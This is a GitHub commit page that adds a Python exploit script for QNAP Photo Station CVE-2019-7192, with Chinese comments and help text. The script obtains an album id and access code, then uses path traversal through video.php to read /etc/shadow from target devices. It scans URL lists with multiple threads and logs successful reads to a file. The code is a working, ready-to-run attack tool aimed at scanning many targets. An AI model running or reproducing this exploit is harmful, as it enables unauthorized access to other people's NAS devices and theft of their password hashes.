Skip to content

Commit 969e37f

Browse files
authored
QNAP Photo Station远程代码执行漏洞CVE-2019-7192
QNAP Systems Photo Station是中国威联通(QNAP Systems)公司的一款照片管理和查看应用程序。 QNAP Systems Photo Station中存在访问控制错误漏洞。远程攻击者可利用该漏洞对系统进行未经授权的访问。
1 parent a9c753d commit 969e37f

File tree

1 file changed

+108
-0
lines changed

1 file changed

+108
-0
lines changed

QNAP_CVE-2019-7192_Exploit.py

+108
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
# 作者: VulnExpo
2+
# 日期: 2023-12-22
3+
4+
import requests
5+
import argparse
6+
import threading
7+
import re
8+
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
9+
10+
def check_for_vulnerability(url, proxies=None, success_file=None):
11+
try:
12+
headers = {
13+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0",
14+
"Accept": "text/html,application/xhtml+xml,appication/xml;q=0.9,*/*;q=0.8",
15+
"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
16+
"Accept-Encoding":"gzip, deflate",
17+
"Connection":"close",
18+
"Upgrade-Insecure-Requests":"1",
19+
"Pragma":"no-cache",
20+
"Cache-Control":"no-cache",
21+
"Content-Type":"application/x-www-form-urlencoded"
22+
}
23+
24+
req = requests.Session()
25+
26+
# search album_id
27+
28+
print("="*65)
29+
post_data = {'a': 'setSlideshow', 'f': 'qsamplealbum'}
30+
album_id_response = req.post(url + "/photo/p/api/album.php", data=post_data, headers=headers, verify=False, timeout=10)
31+
32+
if album_id_response.status_code != 200:
33+
print("album id not found \n\033[91mnot vulnerable\033[0m")
34+
return False
35+
36+
album_id = re.search('(?<=<output>).*?(?=</output>)', album_id_response.text).group()
37+
38+
# search $_SESSION['access_code']
39+
40+
access_code_response = req.get(url + "/photo/slideshow.php?album=" + album_id, headers=headers, verify=False, timeout=10)
41+
if access_code_response.status_code != 200:
42+
print("slideshow not found \n\033[91mnot vulnerable\033[0m")
43+
return False
44+
45+
access_code = re.search("(?<=encodeURIComponent\\(').*?(?=')", access_code_response.text).group()
46+
47+
def get_file_content(file):
48+
post_data = {'album': album_id, 'a': 'caption', 'ac': access_code, 'f': 'UMGObv', 'filename': file}
49+
file_read_response = req.post(url + "/photo/p/api/video.php", data=post_data, headers=headers, verify=False, timeout=10)
50+
print(f"目标URL: {url}, 响应内容: {file_read_response.text}")
51+
with open(success_file, 'a') as s_file:
52+
s_file.write("=" * 65 + "\n")
53+
s_file.write(f"目标URL: {url}\n")
54+
s_file.write(f"响应内容: {file_read_response.text}\n\n")
55+
56+
# get_file_content('./../../../../../etc/hostname')
57+
get_file_content('./../../../../../etc/shadow')
58+
59+
except Exception as e:
60+
print(f"发生异常:{e}")
61+
return False
62+
63+
def scan_targets(targets, proxies=None, success_file=None):
64+
for target in targets:
65+
target = target.strip()
66+
check_for_vulnerability(target, proxies, success_file)
67+
68+
def multi_threaded_scan(urls, proxies=None, success_file=None, num_threads=4):
69+
threads = []
70+
71+
for i in range(num_threads):
72+
thread = threading.Thread(target=scan_targets, args=(urls[i::num_threads], proxies, success_file))
73+
threads.append(thread)
74+
75+
for thread in threads:
76+
thread.start()
77+
78+
for thread in threads:
79+
thread.join()
80+
81+
if __name__ == '__main__':
82+
parser = argparse.ArgumentParser(description="QNAP Photo Station远程代码执行漏洞CVE-2019-7192")
83+
parser.add_argument("-u", "--url", help="目标URL")
84+
parser.add_argument("-f", "--file", default="url.txt", help="目标URL列表,默认为url.txt")
85+
parser.add_argument("-t", "--threads", type=int, default=4, help="线程数,默认为4")
86+
parser.add_argument("-p", "--proxy", help="代理服务器地址(例如:http://localhost:8080)")
87+
args = parser.parse_args()
88+
89+
if not args.url and not args.file:
90+
print("请使用 -u 指定要扫描的目标URL或使用默认文件 url.txt。")
91+
exit(1)
92+
93+
if args.url:
94+
urls = [args.url]
95+
elif args.file:
96+
with open(args.file, 'r') as file:
97+
urls = file.readlines()
98+
99+
success_file = 'success_targets.txt'
100+
101+
proxies = {
102+
"http": args.proxy,
103+
"https": args.proxy
104+
} if args.proxy else None
105+
106+
multi_threaded_scan(urls, proxies, success_file, args.threads)
107+
108+
print("扫描完成,成功的目标已保存到 success_targets.txt 文件中。")

0 commit comments

Comments
 (0)